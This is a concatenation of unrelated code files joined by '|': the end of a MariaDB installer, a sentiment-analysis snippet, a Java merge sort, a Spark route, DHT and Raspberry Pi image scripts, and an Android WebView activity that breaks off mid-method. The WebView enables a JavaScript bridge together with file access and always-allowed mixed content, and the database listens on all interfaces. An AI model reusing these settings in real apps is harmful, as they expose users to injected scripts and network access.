echo "${CFAILURE}MariaDB install failed, Please contact the author! ${CEND}"
kill -9 $$
fi
/bin/cp ${mariadb_install_dir}/support-files/mysql.server /etc/init.d/mysqld
sed -i "s@^basedir=.*@basedir=${mariadb_install_dir}@" /etc/init.d/mysqld
sed -i "s@^datadir=.*@datadir=${mariadb_data_dir}@" /etc/init.d/mysqld
chmod +x /etc/init.d/mysqld
[ "${OS}" == "CentOS" ] && { chkconfig --add mysqld; chkconfig mysqld on; }
[[ "${OS}" =~ ^Ubuntu$|^Debian$ ]] && update-rc.d mysqld defaults
popd
# my.cnf
cat > /etc/my.cnf << EOF
[client]
port = 3306
socket = /tmp/mysql.sock
default-character-set = utf8mb4
[mysqld]
port = 3306
socket = /tmp/mysql.sock
basedir = ${mariadb_install_dir}
datadir = ${mariadb_data_dir}
pid-file = ${mariadb_data_dir}/mysql.pid
user = mysql
bind-address = 0.0.0.0
server-id = 1
init-connect = 'SET NAMES utf8mb4'
character-set-server = utf8mb4
skip-name-resolve
#skip-networking
back_log = 300
max_connections = 1000
max_connect_errors = 6000
open_files_limit = 65535
table_open_cache = 128
max_allowed_packet = 500M
binlog_cache_size = 1M
max_heap_table_size = 8M
tmp_table_size = 16M
read_buffer_size = 2M
read_rnd_buffer_size = 8M
sort_buffer_size = 8M
join_buffer_size = 8M
key_buffer_size = 4M
thread_cache_size = 8
query_cache_type = 1
query_cache_size = 8M
query_cache_limit = 2M
ft_min_word_len = 4
log_bin = mysql-bin
binlog_format = mixed
expire_logs_days = 30
log_error = ${mariadb_data_dir}/mysql-error.log
slow_query_log = 1
long_query_time = 1
slow_query_log_file = ${mariadb_data_dir}/mysql-slow.log
performance_schema = 0
#lower_case_table_names = 1
skip-external-locking
default_storage_engine = InnoDB
#default-storage-engine = MyISAM
innodb_file_per_table = 1
innodb_open_files = 500
innodb_buffer_pool_size = 64M
innodb_write_io_threads = 4
innodb_read_io_threads = 4
innodb_thread_concurrency = 0
innodb_purge_threads = 1
innodb_flush_log_at_trx_commit = 2
innodb_log_buffer_size = 2M
innodb_log_file_size = 32M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 90
innodb_lock_wait_timeout = 120
bulk_insert_buffer_size = 8M
myisam_sort_buffer_size = 8M
myisam_max_sort_file_size = 10G
myisam_repair_threads = 1
interactive_timeout = 28800
wait_timeout = 28800
[mysqldump]
quick
max_allowed_packet = 500M
[myisamchk]
key_buffer_size = 8M
sort_buffer_size = 8M
read_buffer = 4M
write_buffer = 4M
EOF
sed -i "s@max_connections.*@max_connections = $((${Mem}/3))@" /etc/my.cnf
if [ ${Mem} -gt 1500 -a ${Mem} -le 2500 ]; then
sed -i 's@^thread_cache_size.*@thread_cache_size = 16@' /etc/my.cnf
sed -i 's@^query_cache_size.*@query_cache_size = 16M@' /etc/my.cnf
sed -i 's@^myisam_sort_buffer_size.*@myisam_sort_buffer_size = 16M@' /etc/my.cnf
sed -i 's@^key_buffer_size.*@key_buffer_size = 16M@' /etc/my.cnf
sed -i 's@^innodb_buffer_pool_size.*@innodb_buffer_pool_size = 128M@' /etc/my.cnf
sed -i 's@^tmp_table_size.*@tmp_table_size = 32M@' /etc/my.cnf
sed -i 's@^table_open_cache.*@table_open_cache = 256@' /etc/my.cnf
elif [ ${Mem} -gt 2500 -a ${Mem} -le 3500 ]; then
sed -i 's@^thread_cache_size.*@thread_cache_size = 32@' /etc/my.cnf
sed -i 's@^query_cache_size.*@query_cache_size = 32M@' /etc/my.cnf
sed -i 's@^myisam_sort_buffer_size.*@myisam_sort_buffer_size = 32M@' /etc/my.cnf
sed -i 's@^key_buffer_size.*@key_buffer_size = 64M@' /etc/my.cnf
sed -i 's@^innodb_buffer_pool_size.*@innodb_buffer_pool_size = 512M@' /etc/my.cnf
sed -i 's@^tmp_table_size.*@tmp_table_size = 64M@' /etc/my.cnf
sed -i 's@^table_open_cache.*@table_open_cache = 512@' /etc/my.cnf
elif [ ${Mem} -gt 3500 ]; then
sed -i 's@^thread_cache_size.*@thread_cache_size = 64@' /etc/my.cnf
sed -i 's@^query_cache_size.*@query_cache_size = 64M@' /etc/my.cnf
sed -i 's@^myisam_sort_buffer_size.*@myisam_sort_buffer_size = 64M@' /etc/my.cnf
sed -i 's@^key_buffer_size.*@key_buffer_size = 256M@' /etc/my.cnf
sed -i 's@^innodb_buffer_pool_size.*@innodb_buffer_pool_size = 1024M@' /etc/my.cnf
sed -i 's@^tmp_table_size.*@tmp_table_size = 128M@' /etc/my.cnf
sed -i 's@^table_open_cache.*@table_open_cache = 1024@' /etc/my.cnf
fi
${mariadb_install_dir}/scripts/mysql_install_db --user=mysql --basedir=${mariadb_install_dir} --datadir=${mariadb_data_dir}
[ "${Wsl}" == true ] && chmod 600 /etc/my.cnf
chown mysql.mysql -R ${mariadb_data_dir}
[ -d "/etc/mysql" ] && /bin/mv /etc/mysql{,_bk}
service mysqld start
[ -z "$(grep ^'export PATH=' /etc/profile)" ] && echo "export PATH=${mariadb_install_dir}/bin:\$PATH" >> /etc/profile
[ -n "$(grep ^'export PATH=' /etc/profile)" -a -z "$(grep ${mariadb_install_dir} /etc/profile)" ] && sed -i "s@^export PATH=\(.*\)@export PATH=${mariadb_install_dir}/bin:\1@" /etc/profile
. /etc/profile
${mariadb_install_dir}/bin/mysql -e "grant all privileges on *.* to root@'127.0.0.1' identified by \"${dbrootpwd}\" with grant option;"
${mariadb_install_dir}/bin/mysql -e "grant all privileges on *.* to root@'localhost' identified by \"${dbrootpwd}\" with grant option;"
${mariadb_install_dir}/bin/mysql -uroot -p${dbrootpwd} -e "delete from mysql.user where Password='';"
${mariadb_install_dir}/bin/mysql -uroot -p${dbrootpwd} -e "delete from mysql.db where User='';"
${mariadb_install_dir}/bin/mysql -uroot -p${dbrootpwd} -e "delete from mysql.proxies_priv where Host!='localhost';"
${mariadb_install_dir}/bin/mysql -uroot -p${dbrootpwd} -e "drop database test;"
${mariadb_install_dir}/bin/mysql -uroot -p${dbrootpwd} -e "reset master;"
rm -rf /etc/ld.so.conf.d/{mysql,mariadb,percona,alisql}*.conf
echo "${mariadb_install_dir}/lib" > /etc/ld.so.conf.d/mariadb.conf
ldconfig
service mysqld stop
}
|
import nltk
from nltk.sentiment.vader import SentimentIntensityAnalyzer
tweet = 'The customer service was terrible. #NeverAgain'
sid = SentimentIntensityAnalyzer()
scores = sid.polarity_scores(tweet)
if scores['compound'] >= 0.5:
print('The tweet is positive.')
elif scores['compound'] <= -0.5:
print('The tweet is negative.')
else:
print('The tweet is neutral.')
# The tweet is negative. |
public class MergeSort {
// Merges two subarrays of inputNumbers
// First subarray is arr[l..m]
// Second subarray is arr[m+1..r]
void merge(int inputNumbers[], int l, int m, int r) {
// Find sizes of two subarrays to be merged
int n1 = m - l + 1;
int n2 = r - m;
// Create temp arrays
int leftArray[] = new int [n1];
int rightArray[] = new int [n2];
// Copy data to temp arrays
for (int i=0; i<n1; ++i)
leftArray[i] = inputNumbers[l + i];
for (int j=0; j<n2; ++j)
rightArray[j] = inputNumbers[m + 1+ j];
// Initial indexes of first and second subarrays
int i = 0, j = 0;
// Initial index of merged subarry array
int k = l;
while (i < n1 && j < n2)
{
if (leftArray[i] <= rightArray[j])
{
inputNumbers[k] = leftArray[i];
i++;
}
else
{
inputNumbers[k] = rightArray[j];
j++;
}
k++;
}
// Copy remaining elements of leftArray[] if any
while (i < n1)
{
inputNumbers[k] = leftArray[i];
i++;
k++;
}
// Copy remaining elements of rightArray[] if any
while (j < n2)
{
inputNumbers[k] = rightArray[j];
j++;
k++;
}
}
// Main function that sorts arr[l..r] using
// merge()
void sort(int inputNumbers[], int l, int r)
{
if (l < r)
{
// Find the middle point
int m = (l+r)/2;
// Sort first and second halves
sort(inputNumbers, l, m);
sort(inputNumbers , m+1, r);
// Merge the sorted halves
merge(inputNumbers, l, m, r);
}
}
public static void main(String args[])
{
MergeSort ob = new MergeSort();
int inputNumbers[] = {2, 4, 1, 6, 8, 5, 3, 7};
ob.sort(inputNumbers, 0, inputNumbers.length-1);
System.out.println("Sorted array");
for (int i = 0; i < inputNumbers.length; i++)
System.out.print(inputNumbers[i]+" ");
}
} |
<filename>src/main/java/com/example/ui/GetHomeRoute.java
package com.example.ui;
import com.example.appl.CardRepository;
import spark.*;
import java.util.HashMap;
import java.util.Objects;
/**
* The {@code GET /} route handler.
* Collects existing cards from CardRepository and passes them onto the Freemarker template for rendering.
*
* @author <a href='mailto:<EMAIL>'><NAME></a>
*/
public class GetHomeRoute implements Route {
static final String VIEW_NAME = "home.ftl";
static final String TITLE = "ToDo App";
private TemplateEngine templateEngine;
private CardRepository cardRepository;
/**
* Constructor for the {@code GET /} route handler.
* @param templateEngine The TemplateEngine used for rendering HTML.
* @param cardRepository The CardRespository instance holding the Cards for the app
*/
public GetHomeRoute(TemplateEngine templateEngine, CardRepository cardRepository) {
Objects.requireNonNull(cardRepository, "cardRepository must not be null");
Objects.requireNonNull(templateEngine, "templateEngine must not be null");
this.templateEngine = templateEngine;
this.cardRepository = cardRepository;
}
/**
* {@inheritDoc}
*/
@Override
public Object handle(Request request, Response response) {
HashMap<String, Object> vm = new HashMap<>();
vm.put("title", TITLE);
// TODO: Provide the Card instances to the Freemarker template.
vm.put("cards",this.cardRepository.getCards());
// TODO: Provide the UUID of the Card instance that was archived.
//vm.put("",);
return templateEngine.render(new ModelAndView(vm, VIEW_NAME));
}
}
|
#!/bin/bash
if [ $# -lt 5 ]; then
echo "usage ./cmd.sh <pulbic ip> <num_extra_nodes> <use_secure_dht_0_or_1> <kvalue> <avalue> [<bootstrap node>]"
exit 1
fi
if hash python2.7 2>/dev/null; then
PYTHON_CMD=python2.7
else
PYTHON_CMD=python
fi
echo $PYTHON_CMD
NUM_EXTRA_NODES=$2
CUR_PORT=14002
MAIN_SERVER_PORT=14001
KSIZE=$4
ALPHA=$5
ROOTPATH="./dhtstorage"
DB_PATH="$ROOTPATH/dhtdbs"
STATE_PATH="$ROOTPATH/dhtstates"
LOG_PATH="$ROOTPATH/logs"
PUBLIC_IP=$1
BOOTSTRAP_NODES="$6"
DHT_SECURE=$3
PROCESS_ID=""
LOCAL_PATH=$(cd -P -- "$(dirname -- "$0")" && pwd -P)
CUR_PATH=$(pwd)
cd $LOCAL_PATH
cd ..
if [ ! -d "$ROOTPATH" ]; then
echo "create folders"
mkdir $ROOTPATH
mkdir $DB_PATH
mkdir $STATE_PATH
mkdir $LOG_PATH
fi
echo "Start main node"
STATE_PATH_FILE=$STATE_PATH/mainstate.state
cmd="$PYTHON_CMD dhtserver.py --restserver $PUBLIC_IP --dhtserver $PUBLIC_IP --ksize $KSIZE --alpha $ALPHA --dhtport $MAIN_SERVER_PORT --dhtdbpath $DB_PATH/mainnode --store_state_file $STATE_PATH_FILE"
if [ -d "$STATE_PATH_FILE" ]; then
cmd="$cmd --dht_cache_file $STATE_PATH_FILE"
fi
if [ $DHT_SECURE -eq 1 ]; then
echo "secure dht"
cmd="$cmd --secure"
fi
if [[ -z $BOOTSTRAP_NODES ]]; then
$cmd &
PROCESS_ID="$PROCESS_ID $!"
else
echo "Bootstrap nodes $BOOTSTRAP_NODES"
cmd="$cmd --bootstrap $BOOTSTRAP_NODES"
$cmd &
PROCESS_ID="$PROCESS_ID $!"
fi
sleep 5
for ((c=1; c<=NUM_EXTRA_NODES; c++))
do
STATE_PATH_FILE=$STATE_PATH/nodestate$c.state
cmd="$PYTHON_CMD dhtserveronly.py --dhtserver $PUBLIC_IP --ksize $KSIZE --alpha $ALPHA --bootstrap $PUBLIC_IP:$MAIN_SERVER_PORT --dhtdbpath $DB_PATH/node$c --store_state_file $STATE_PATH_FILE --dhtport $CUR_PORT"
if [ -d "$STATE_PATH_FILE" ]; then
cmd="$cmd --dht_cache_file $STATE_PATH_FILE"
fi
if [ $DHT_SECURE -eq 1 ]; then
echo "secure dht"
cmd="$cmd --secure"
fi
echo "Start extra node $c"
$cmd &
PROCESS_ID="$PROCESS_ID $!"
CUR_PORT=$((CUR_PORT + 1))
sleep 0.05
done
echo $PROCESS_ID > $ROOTPATH/processes.pid
cd $CUR_PATH |
#!/bin/bash -e
IMG_FILE="${STAGE_WORK_DIR}/${IMG_FILENAME}${IMG_SUFFIX}.img"
NOOBS_DIR="${STAGE_WORK_DIR}/${IMG_VERSION}-${IMG_NAME}${IMG_SUFFIX}"
unmount_image "${IMG_FILE}"
mkdir -p "${STAGE_WORK_DIR}"
cp "${WORK_DIR}/export-image/${IMG_FILENAME}${IMG_SUFFIX}.img" "${STAGE_WORK_DIR}/"
rm -rf "${NOOBS_DIR}"
PARTED_OUT=$(parted -sm "${IMG_FILE}" unit b print)
BOOT_OFFSET=$(echo "$PARTED_OUT" | grep -e '^1:' | cut -d':' -f 2 | tr -d B)
BOOT_LENGTH=$(echo "$PARTED_OUT" | grep -e '^1:' | cut -d':' -f 4 | tr -d B)
ROOT_OFFSET=$(echo "$PARTED_OUT" | grep -e '^2:' | cut -d':' -f 2 | tr -d B)
ROOT_LENGTH=$(echo "$PARTED_OUT" | grep -e '^2:' | cut -d':' -f 4 | tr -d B)
BOOT_DEV=$(losetup --show -f -o "${BOOT_OFFSET}" --sizelimit "${BOOT_LENGTH}" "${IMG_FILE}")
ROOT_DEV=$(losetup --show -f -o "${ROOT_OFFSET}" --sizelimit "${ROOT_LENGTH}" "${IMG_FILE}")
echo "/boot: offset $BOOT_OFFSET, length $BOOT_LENGTH"
echo "/: offset $ROOT_OFFSET, length $ROOT_LENGTH"
mkdir -p "${STAGE_WORK_DIR}/rootfs"
mkdir -p "${NOOBS_DIR}"
mount "$ROOT_DEV" "${STAGE_WORK_DIR}/rootfs"
mount "$BOOT_DEV" "${STAGE_WORK_DIR}/rootfs/boot"
ln -sv "/lib/systemd/system/apply_noobs_os_config.service" "$ROOTFS_DIR/etc/systemd/system/multi-user.target.wants/apply_noobs_os_config.service"
bsdtar --numeric-owner --format gnutar -C "${STAGE_WORK_DIR}/rootfs/boot" -cpf - . | xz -T0 > "${NOOBS_DIR}/boot.tar.xz"
umount "${STAGE_WORK_DIR}/rootfs/boot"
bsdtar --numeric-owner --format gnutar -C "${STAGE_WORK_DIR}/rootfs" --one-file-system -cpf - . | xz -T0 > "${NOOBS_DIR}/root.tar.xz"
unmount_image "${IMG_FILE}"
|
package com.example.jingbin.webviewstudy;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.content.ContentUris;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.support.annotation.MainThread;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.content.ContextCompat;
import android.support.v4.content.FileProvider;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.text.TextUtils;
import android.util.Base64;
import android.util.Log;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.JavascriptInterface;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.widget.FrameLayout;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import com.example.jingbin.webviewstudy.config.FullscreenHolder;
import com.example.jingbin.webviewstudy.config.IWebPageView;
import com.example.jingbin.webviewstudy.config.MyJavascriptInterface;
import com.example.jingbin.webviewstudy.config.MyWebChromeClient;
import com.example.jingbin.webviewstudy.config.MyWebViewClient;
import com.example.jingbin.webviewstudy.record.DBHelper;
import com.example.jingbin.webviewstudy.utils.BaseTools;
import com.example.jingbin.webviewstudy.utils.StatusBarUtil;
import com.example.jingbin.webviewstudy.utils.Tools;
import org.json.JSONArray;
import org.json.JSONObject;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import static com.tencent.smtt.utils.b.c;
/**
* 网页可以处理:
* 点击相应控件:
* - 拨打电话、发送短信、发送邮件
* - 上传图片(版本兼容)
* - 全屏播放网络视频
* - 进度条显示
* - 返回网页上一层、显示网页标题
* JS交互部分:
* - 前端代码嵌入js(缺乏灵活性)
* - 网页自带js跳转
* 被作为第三方浏览器打开
*/
public class WebViewActivity extends AppCompatActivity implements IWebPageView {
// 进度条
private ProgressBar mProgressBar;
public WebView webView;
// 全屏时视频加载view
private FrameLayout videoFullView;
// 加载视频相关
private MyWebChromeClient mWebChromeClient;
// 网页链接
private String mUrl;
private Toolbar mTitleToolBar;
// 可滚动的title 使用简单 没有渐变效果,文字两旁有阴影
private TextView tvGunTitle;
private String mTitle;
private MyJavascriptInterface object;
private String word;
private AlertDialog.Builder alertDialog;
private String imagePath;
public DBHelper mDatabase;
public String filePath;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web_view);
mDatabase = new DBHelper(getApplicationContext());
alertDialog = new AlertDialog.Builder(this);
createFile();
getIntentData();
initTitle();
initWebView();
webView.loadUrl(mUrl);
getDataFromBrowser(getIntent());
}
private void getIntentData() {
mUrl = getIntent().getStringExtra("mUrl");
mTitle = getIntent().getStringExtra("mTitle");
}
private void createFile() {
String path = Environment.getExternalStorageDirectory() + "/a_myDocument";
Tools.makeRootDirectory(path);
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");
Date date = new Date();
filePath = path + "/" + simpleDateFormat.format(date);
Tools.makeRootDirectory(filePath);
}
private void initTitle() {
StatusBarUtil.setColor(this, ContextCompat.getColor(this, R.color.colorPrimary), 0);
mProgressBar = findViewById(R.id.pb_progress);
webView = findViewById(R.id.webview_detail);
videoFullView = findViewById(R.id.video_fullView);
mTitleToolBar = findViewById(R.id.title_tool_bar);
tvGunTitle = findViewById(R.id.tv_gun_title);
initToolBar();
}
private void initToolBar() {
setSupportActionBar(mTitleToolBar);
ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
//去除默认Title显示
actionBar.setDisplayShowTitleEnabled(false);
}
mTitleToolBar.setOverflowIcon(ContextCompat.getDrawable(this, R.drawable.actionbar_more));
tvGunTitle.postDelayed(new Runnable() {
@Override
public void run() {
tvGunTitle.setSelected(true);
}
}, 1900);
setTitle(mTitle);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.menu_webview, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:// 返回键
handleFinish();
break;
case R.id.actionbar_share:// 分享到
String shareText = webView.getTitle() + webView.getUrl();
BaseTools.share(WebViewActivity.this, shareText);
break;
case R.id.actionbar_cope:// 复制链接
if (!TextUtils.isEmpty(webView.getUrl())) {
BaseTools.copy(webView.getUrl());
Toast.makeText(this, "复制成功", Toast.LENGTH_LONG).show();
}
break;
case R.id.actionbar_open:// 打开链接
BaseTools.openLink(WebViewActivity.this, webView.getUrl());
break;
case R.id.actionbar_webview_refresh:// 刷新页面
if (webView != null) {
webView.reload();
}
break;
default:
break;
}
return super.onOptionsItemSelected(item);
}
@SuppressLint({"SetJavaScriptEnabled", "AddJavascriptInterface"})
private void initWebView() {
mProgressBar.setVisibility(View.VISIBLE);
WebSettings ws = webView.getSettings();
// 网页内容的宽度是否可大于WebView控件的宽度
ws.setLoadWithOverviewMode(false);
// 保存表单数据
ws.setSaveFormData(true);
// 是否应该支持使用其屏幕缩放控件和手势缩放
ws.setSupportZoom(true);
ws.setBuiltInZoomControls(true);
ws.setDisplayZoomControls(false);
// 启动应用缓存
ws.setAppCacheEnabled(true);
// 设置缓存模式
ws.setCacheMode(WebSettings.LOAD_DEFAULT);
// setDefaultZoom api19被弃用
// 设置此属性,可任意比例缩放。
ws.setUseWideViewPort(true);
// 不缩放
webView.setInitialScale(100);
// 告诉WebView启用JavaScript执行。默认的是false。
ws.setJavaScriptEnabled(true);
// 页面加载好以后,再放开图片
ws.setBlockNetworkImage(false);
// 使用localStorage则必须打开
ws.setDomStorageEnabled(true);
// 排版适应屏幕
ws.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
ws.setAllowFileAccess(true);
ws.setAllowContentAccess(true);
// WebView是否新窗口打开(加了后可能打不开网页)
// ws.setSupportMultipleWindows(true);
// webview从5.0开始默认不允许混合模式,https中不能加载http资源,需要设置开启。
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
ws.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
}
/** 设置字体默认缩放大小(改变网页字体大小,setTextSize api14被弃用)*/
ws.setTextZoom(100);
mWebChromeClient = new MyWebChromeClient(this);
webView.setWebChromeClient(mWebChromeClient);
// 与js交互
object = new MyJavascriptInterface(this);
webView.addJavascriptInterface(object, "injectedObject");
webView.setWebViewClient(new MyWebViewClient(this));
webView.setOnLongClickListener(new View.OnLongClickListener() {
@Override
public boolean onLongClick(View v) {
return handleLongImage();
}
});
}
public void openAlbum() {
Intent intent = new Intent("android.intent.action.GET_CONTENT");
intent.setType("image/*");
startActivityForResult(intent, 2);
}
private void alertText(final String title, final String message) {
this.runOnUiThread(new Runnable() {
@Override
public void run() {
alertDialog.setTitle(title)
.setMessage(message)
.setPositiveButton("确定", null)
.show();
}
});
}
private void infoPopText(final String result) {
alertText("", result);
}
/**
* 上传图片之后的回调
*/
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
switch (requestCode) {
case 1:
try {
final Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(object.imageUrl));
//在UI线程更新界面
object.image.post(new Runnable() {
@Override
public void run() {
object.image.setImageBitmap(bitmap);
}
});
// object.image.setImageBitmap(bitmap);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
// 传递参数调用
// webView.loadUrl("javascript:javacalljstest('" + object.imageUrl.toString() + "')");
Log.e("WebView", object.imageUrl.toString());
if (object.mswitch.isChecked() && resultCode != 0) {
RecognizeService.recAccurateBasic(this, new File(this.getExternalCacheDir(), "output_image.jpg").getAbsolutePath(),
new RecognizeService.ServiceListener() {
@Override
public void onResult(final String result) {
// infoPopText(result);
try {
word = "";
JSONObject jsonObject = new JSONObject(result);
JSONArray resultArray = new JSONArray(jsonObject.getString("words_result"));
for(int i = 0; i < resultArray.length(); i++) {
JSONObject value = resultArray.getJSONObject(i);
word = word + " " + value.getString("words");
}
object.editText.post(new Runnable() {
@Override
public void run() {
try {
object.editText.setText(word);
}catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
// object.image.post(new Runnable() {
// @Override
// public void run() {
// Glide.with(WebViewActivity.this).load(object.imageUrl.toString()).into(object.image);
// }
// });
// Handler handler = new Handler() {
// @Override
// public void handleMessage(Message msg) {
// switch (msg.what) {
// case 1:
// Glide.with(WebViewActivity.this).load(object.imageUrl.toString()).into(object.image);
// break;
// }
// super.handleMessage(msg);
// }
// };
// Message message = new Message();
// message.what = 1;
// handler.sendMessage(message);
break;
case 2:
if (resultCode == RESULT_OK) {
if (Build.VERSION.SDK_INT >= 19) {
handldImageOnkitKat(intent);
} else {
handleImageBeforeKitKat(intent);
}
if (object.mswitch.isChecked()) {
Uri uri = Tools.geturi(this, intent);
RecognizeService.recAccurateBasic(this, imagePath,
new RecognizeService.ServiceListener() {
@Override
public void onResult(final String result) {
// infoPopText(result);
try {
word = "";
JSONObject jsonObject = new JSONObject(result);
JSONArray resultArray = new JSONArray(jsonObject.getString("words_result"));
for(int i = 0; i < resultArray.length(); i++) {
JSONObject value = resultArray.getJSONObject(i);
word = word + " " + value.getString("words");
}
object.editText.post(new Runnable() {
@Override
public void run() {
try {
object.editText.setText(word);
}catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
break;
default:
break;
}
if (requestCode == MyWebChromeClient.FILECHOOSER_RESULTCODE) {
mWebChromeClient.mUploadMessage(intent, resultCode);
} else if (requestCode == MyWebChromeClient.FILECHOOSER_RESULTCODE_FOR_ANDROID_5) {
mWebChromeClient.mUploadMessageForAndroid5(intent, resultCode);
}
}
private String getRealPathFromURI(Uri contentURI) {
String result;
Cursor cursor = null;
try {
cursor = getContentResolver().query(contentURI, null, null, null, null);
} catch (Throwable e) {
e.printStackTrace();
}
if (cursor == null) {
result = contentURI.getPath();
} else {
cursor.moveToFirst();
for(int i = 0; i < cursor.getColumnCount(); i++) {
Log.e("WEB", cursor.getString(i) );
Log.e("WEB", cursor.getColumnName(i) );
}
int idx = cursor.getColumnIndex(MediaStore.Images.ImageColumns.DATA);
if (idx != -1) {
result = cursor.getString(idx);
} else {
result = contentURI.getPath();
}
cursor.close();
}
return result;
}
@TargetApi(19)
private void handldImageOnkitKat(Intent data) {
imagePath = null;
Uri uri = data.getData();
if (DocumentsContract.isDocumentUri(this, uri)) {
String docId = DocumentsContract.getDocumentId(uri);
if("com.android.providers.media.documents".equals(uri.getAuthority())) {
String id = docId.split(":")[1];
String selection = MediaStore.Images.Media._ID + "=" + id;
imagePath = getImagePath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, selection);
} else if ("com.android.providers.downloads.documents".equals(uri.getAuthority())){
Uri contentUri = ContentUris.withAppendedId(Uri.parse("content://download/public_downloads"), Long.valueOf(docId));
imagePath = getImagePath(contentUri, null);
}
} else if( "content".equalsIgnoreCase(uri.getScheme())) {
imagePath = getImagePath(uri, null);
} else if ("file".equalsIgnoreCase(uri.getScheme())) {
imagePath = uri.getPath();
}
displayImage(imagePath);
}
private void handleImageBeforeKitKat(Intent data) {
Uri uri = data.getData();
imagePath = getImagePath(uri, null);
displayImage(imagePath);
}
private String getImagePath(Uri uri, String selection) {
String path = null;
Cursor cursor = getContentResolver().query(uri, null, selection, null, null );
if(cursor != null) {
if(cursor.moveToFirst()) {
path = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA));
}
cursor.close();
}
return path;
}
private void displayImage(String imagePath) {
if (imagePath != null) {
final Bitmap bitmap = BitmapFactory.decodeFile(imagePath);
// object.image.setImageBitmap(bitmap);
//在UI线程更新界面
object.image.post(new Runnable() {
@Override
public void run() {
object.image.setImageBitmap(bitmap);
}
});
} else {
Toast.makeText(this, "获取图片失败", Toast.LENGTH_LONG).show();
}
}
@Override
public void hindProgressBar() {
mProgressBar.setVisibility(View.GONE);
}
@Override
public void showWebView() {
webView.setVisibility(View.VISIBLE);
}
@Override
public void hindWebView() {
webView.setVisibility(View.INVISIBLE);
}
@Override
public void fullViewAddView(View view) {
FrameLayout decor = (FrameLayout) getWindow().getDecorView();
videoFullView = new FullscreenHolder(WebViewActivity.this);
videoFullView.addView(view);
decor.addView(videoFullView);
}
@Override
public void showVideoFullView() {
videoFullView.setVisibility(View.VISIBLE);
}
@Override
public void hindVideoFullView() {
videoFullView.setVisibility(View.GONE);
}
@Override
public void startProgress(int newProgress) {
mProgressBar.setVisibility(View.VISIBLE);
mProgressBar.setProgress(newProgress);
if (newProgress == 100) {
mProgressBar.setVisibility(View.GONE);
}
}
public void setTitle(String mTitle) {
tvGunTitle.setText(mTitle);
}
/**
* android与js交互:
* 前端注入js代码:不能加重复的节点,不然会覆盖
* 前端调用js代码
*/
@Override
public void addImageClickListener() {
loadImageClickJS();
loadTextClickJS();
loadCallJS();
}
/**
* 前端注入JS:
* 这段js函数的功能就是,遍历所有的img节点,并添加onclick函数,函数的功能是在图片点击的时候调用本地java接口并传递url过去
*/
private void loadImageClickJS() {
webView.loadUrl("javascript:(function(){" +
"var objs = document.getElementsByTagName(\"img\");" +
"for(var i=0;i<objs.length;i++)" +
"{" +
"objs[i].onclick=function(){window.injectedObject.imageClick(this.getAttribute(\"src\"));}" +
"}" +
"})()");
}
/**
* 前端注入JS:
* 遍历所有的<li>节点,将节点里的属性传递过去(属性自定义,用于页面跳转)
*/
private void loadTextClickJS() {
webView.loadUrl("javascript:(function(){" +
"var objs =document.getElementsByTagName(\"li\");" +
"for(var i=0;i<objs.length;i++)" +
"{" +
"objs[i].onclick=function(){" +
"window.injectedObject.textClick(this.getAttribute(\"type\"),this.getAttribute(\"item_pk\"));}" +
"}" +
"})()");
}
/**
* 传应用内的数据给html,方便html处理
*/
private void loadCallJS() {
// 无参数调用
webView.loadUrl("javascript:javacalljs()");
// 传递参数调用
webView.loadUrl("javascript:javacalljswithargs('" + "android传入到网页里的数据,有参" + "')");
}
public FrameLayout getVideoFullView() {
return videoFullView;
}
/**
* 全屏时按返加键执行退出全屏方法
*/
public void hideCustomView() {
mWebChromeClient.onHideCustomView();
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
}
/**
* 使用singleTask启动模式的Activity在系统中只会存在一个实例。
* 如果这个实例已经存在,intent就会通过onNewIntent传递到这个Activity。
* 否则新的Activity实例被创建。
*/
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
getDataFromBrowser(intent);
}
/**
* 作为三方浏览器打开传过来的值
* Scheme: https
* host: www.jianshu.com
* path: /p/1cbaf784c29c
* url = scheme + "://" + host + path;
*/
private void getDataFromBrowser(Intent intent) {
Uri data = intent.getData();
if (data != null) {
try {
String scheme = data.getScheme();
String host = data.getHost();
String path = data.getPath();
String text = "Scheme: " + scheme + "\n" + "host: " + host + "\n" + "path: " + path;
